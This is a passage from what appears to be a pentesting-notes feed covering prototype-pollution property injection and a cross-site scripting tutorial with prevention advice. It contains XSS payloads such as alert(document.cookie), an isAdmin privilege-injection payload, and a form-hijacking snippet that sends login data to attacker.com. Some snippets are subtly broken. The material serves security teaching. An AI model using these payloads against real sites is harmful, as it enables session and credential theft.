&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;path&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;reviews[0].content&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;#60;script&amp;amp;#62;alert(&amp;#39;anycontent&amp;#39;)&amp;amp;#60;/script&amp;amp;#62;&amp;#34;&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// we use the _set function from lodash to apply the payload and add the review content to specified path with in friend&amp;#39;s profile object.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Resulting object structure: After executing code, the friends array will be modified to include the user&amp;rsquo;s review. However, due to lack of proper input validation, the review content provided by user &lt;code&gt;(&amp;lt;script&amp;gt;alert('anycontent')&amp;lt;/script&amp;gt;)&lt;/code&gt; was directly added to profile object without proper sanitization.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;friends&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;testuser&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;countrty&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;UK&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;review&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;script&amp;gt;/alert(&amp;#39;anycontent&amp;#39;)&amp;lt;/script&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;albums&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [{}],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;password&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Similarly, suppose the attacker wants to insert a malicious property into the friend&amp;rsquo;s profile. In that case, they provide a payload containing the path where the property should be added &lt;code&gt;(isAdmin)&lt;/code&gt; and the value for the malicious property (true).
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;paylaod&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#e6db74"&gt;&amp;#34;path&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;isAdmin&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;AFter executing the code, the &lt;code&gt;friends&lt;/code&gt; array will be modified to include the malicious property &lt;code&gt;isAdmin&lt;/code&gt; in the friend&amp;rsquo;s profile object.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploitation---property-injection"&gt;Exploitation - Property Injection&lt;/h2&gt;
&lt;h3 id="few-important-fuctions"&gt;Few Important fuctions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Object Recursive merge:&lt;/strong&gt; This function involves recursively merging properties from source objects into a target object. An attacker can exploit this functionality if the merge function does not validate its inputs and allows merging properties into the prototype chain. Considering the same example, lets assume following code.&lt;/p&gt;</description></item><item><title>Cross Site Scripting (XSS)</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/cross-site-scripting/</link><pubDate>Wed, 25 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/cross-site-scripting/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;XSS remains one of the common vulnerabilities that threaten web applications to this day. XSS attacks rely on injecting a malicious script in a benign website to run on a user&amp;rsquo;s browser. In other words, XSS attacks exploit the user&amp;rsquo;s trust in the vulnerable web application, hence the damage.&lt;/li&gt;
&lt;li&gt;One of the earliest XSS vulnerabilities recognized in 199 and lead to CERT advisory CA-2000-02. Over the past decades, various robust web security practices have become part of modern web application frameworks, protecting against XSS vulnerabilities by default.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="basics"&gt;Basics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;As stated, XSS allows an attacker to inject malicious scripts into a web page viewed by another user. Consequently, they bypss the &lt;strong&gt;Same-Origin-Polity (SOP)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;SOP is a security mechanism implemented in modern web browsers to prevent a malicious script on one web page from obtaining access to sensitive data on another page. SOP defines origin based on the protocal, hostname, and port.&lt;/li&gt;
&lt;li&gt;Consequently a malicious ad cannot access data or manipulate the page or its functionality on another origin.&lt;/li&gt;
&lt;li&gt;XSS dodges SOP as it is executing from same origin.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="java-script-for-xss"&gt;Java script for XSS&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;XSS is a client side attack that takes place on target&amp;rsquo;s web browser, we should try out attacks on a browser similar to that of target. It is worth noting that different browsers process certain code snippets differently.&lt;/li&gt;
&lt;li&gt;Let&amp;rsquo;s review and try some essential JS functions
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Alert:&lt;/strong&gt; Use &lt;code&gt;alert()&lt;/code&gt; function to display a alert in web browser.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Console log:&lt;/strong&gt; &lt;code&gt;console.log()&lt;/code&gt; to display contents in the browser console.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encoding:&lt;/strong&gt; &lt;code&gt;btoa(&amp;quot;string&amp;quot;)&lt;/code&gt; encodes a string of binary data to create a base64-encoded ASCII string. And the reverse &lt;code&gt;atob(&amp;quot;base64_string&amp;quot;)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="types-of-xss"&gt;Types of XSS&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For basics, Kindly refer to &lt;a href="https://silent-resistor.github.io/resources/jr-pentester/web-fundamentals-2/#cross-site-scripting-xss"&gt;basics of XSS&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reflected XSS&lt;/strong&gt;: This attack relies on the user-controlled input reflected to the user. For instance, if you search for a particular term and the resulting page displays the term you searched for (reflected), the attacker would try to embed a malicious script within the search term.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt;: This attack relies on the user input stored in the website’s database. For example, if users can write product reviews that are saved in a database (stored) and being displayed to other users, the attacker would try to insert a malicious script in their review so that it gets executed in the browsers of other users.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOM-based XSS&lt;/strong&gt;: This attack exploits vulnerabilities within the Document Object Model (DOM) to manipulate existing page elements without needing to be reflected or stored on the server. This vulnerability is the least common among the three.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="causes-and-implications"&gt;Causes and Implications&lt;/h2&gt;
&lt;h3 id="what-makes-xss-possible"&gt;What makes XSS Possible???&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Insuffient input validations and sanitizations&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lack of output encoding:&lt;/strong&gt; User can use various characters to atler how a web browser processes and displays a web page. For HTML part, it is critical to properly encode characters such &lt;code&gt;&amp;lt;,&amp;gt;,',&amp;quot;, and &amp;amp;&lt;/code&gt; into their respective HTML encoding. In Java script, special attention should be given to escape &lt;code&gt;',&amp;quot; and \&lt;/code&gt;. Failing to encode user-supplied data correctly is a leading cause of XSS vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Improper use of security headers:&lt;/strong&gt; A misconfigured CSP, such as overly permissive policies or the improper use of &lt;code&gt;unsafe-inline&lt;/code&gt; or &lt;code&gt;unsafe-eval&lt;/code&gt; direcives, can make it easier for the attacker to execute their XSS payloads.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fremework and language vulnerabilites:&lt;/strong&gt; Use of older and vulnerable libraries or frameworks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="implications-of-xss"&gt;Implications of XSS&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Session hijacking:&lt;/strong&gt; Steal session cookies, and victim impersonization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phising and credential theft:&lt;/strong&gt; Fake login prompt to user with phishing..&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Social engineering:&lt;/strong&gt; Create legitimate looking pop-up or alert with in trusted website to trick users into clicking malicious links.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content manipulation and defacement:&lt;/strong&gt; Attacker may change website for other purposes, such as inflicting damage on the company&amp;rsquo;s reputation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Date exfiltration:&lt;/strong&gt; Exfiltrating any information displayed on the user&amp;rsquo;s browser like anything sensitive or personal data or financial information.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malware installation:&lt;/strong&gt; Using XSS to spread malware, it can deliver drive by download attacks on vulnerable webisite.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reflected-xss"&gt;Reflected XSS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Its a type of XSS vulnerability, where a malicious script is reflected to user&amp;rsquo;s browser, often via a crafted URL or from submission.&lt;/li&gt;
&lt;li&gt;Consider a search query containing &lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;;&lt;/code&gt;. Many users wouldn&amp;rsquo;t be suspicious about such a URL, even if they look at it up closse. If processed by a vulnerable web application, it executed within context of user&amp;rsquo;s browser.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="stored-xss"&gt;Stored XSS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It occurs when the application stores user-supplied input and later embeds it in web pages served to other users without proper validation or sanitization.&lt;/li&gt;
&lt;li&gt;Examples include webforum posts, product reviews, user comments, and other data stores.&lt;/li&gt;
&lt;li&gt;It begins when an attacker injecting a malicious script in an input field of a vulnerable web applicaition, which might lie in how web app processes the data in the comment box, forum post, or profile information section.&lt;/li&gt;
&lt;li&gt;When other users access this stored content, the injected malicious script executes within their browser. The script can perform wide range of actions, from stealing session cookies to performing actions on behalf of the user without their consent.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="preventing-stored-xss-in-different-languages"&gt;Preventing Stored XSS in different languages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP:&lt;/strong&gt; Use &lt;code&gt;htmlspecialchars()&lt;/code&gt; function ensures all special characters are converted to their HTML entities, preventing them from being executed as code. Also if you are worring about sql injection, &lt;code&gt;mysqli_real_escape_string()&lt;/code&gt; or &lt;code&gt;PDO::quote()&lt;/code&gt; can be used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Javascript(Node.js):&lt;/strong&gt; Use &lt;code&gt;sanitizeHtml()&lt;/code&gt; function from &lt;code&gt;sanitize-html&lt;/code&gt; package to sanitize HTML input.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python:&lt;/strong&gt; Use &lt;code&gt;html.escape()&lt;/code&gt; or &lt;code&gt;markupsafe.escape()&lt;/code&gt; function to escape HTML special characters, and &lt;code&gt;urllib.parse.quote()&lt;/code&gt; to escape URL special characters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C# (ASP.NET):&lt;/strong&gt; Use &lt;code&gt;HttpUtility.HtmlEncode()&lt;/code&gt; function to encode HTML special characters, and &lt;code&gt;HttpUtility.UrlEncode()&lt;/code&gt; to encode URL special characters.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dom-based-xss"&gt;DOM based XSS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;DOM-based XSS vulnerabilities take place within the browser. They don’t need to go to the server and return to the client’s web browser.&lt;/li&gt;
&lt;li&gt;In other words, the attacker will try to exploit this situation by injecting a malicious script, for example, into the URL, and it will be executed on the client’s side without any role for the server in this process.&lt;/li&gt;
&lt;li&gt;Lets understand some basics of DOM&lt;/li&gt;
&lt;li&gt;DOM is a programming interface for web documents. It represents the page so that programs can change the document structure, style, and content.&lt;/li&gt;
&lt;li&gt;Have a look at below use cases
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// this is how we create and append an element
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;createElement&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;div&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;createElement&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;p&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;append&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;childNodes&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// This is a simple example of DOM based XSS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;innerHTML&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// This is how we steal the cookies of a user
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;innerHTML&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// This is a complex example of DOM based XSS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// This can be used to manipulate form data and submit it to another location
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// It uses a fake form which replicate the original, and submits it to the attacker&amp;#39;s server
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;form&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;login-form&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;temp0&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;submit&amp;#34;&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;preventDefault&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;formData&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FormData&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;form&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fakeForm&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;createElement&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;form&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fakeForm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;method&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fakeForm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;action&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https://attacker.com/login&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;formData&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;entries&lt;/span&gt;()) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;createElement&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;input&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;type&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fakeForm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;appendChild&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;appendChild&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fakeForm&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fakeForm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;submit&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="vulnerable-static-site"&gt;Vulnerable &amp;ldquo;Static Site&amp;rdquo;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;consider a static site, where the content is generated at runtime and presented in DOM. Fixes are updated as comments in the code.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- This page expects user to provide their name with ?name= --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- What if user provides ?name=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt; --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- It will execute the script and alert the cookies --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;Vulnerable Page&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;greeting&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
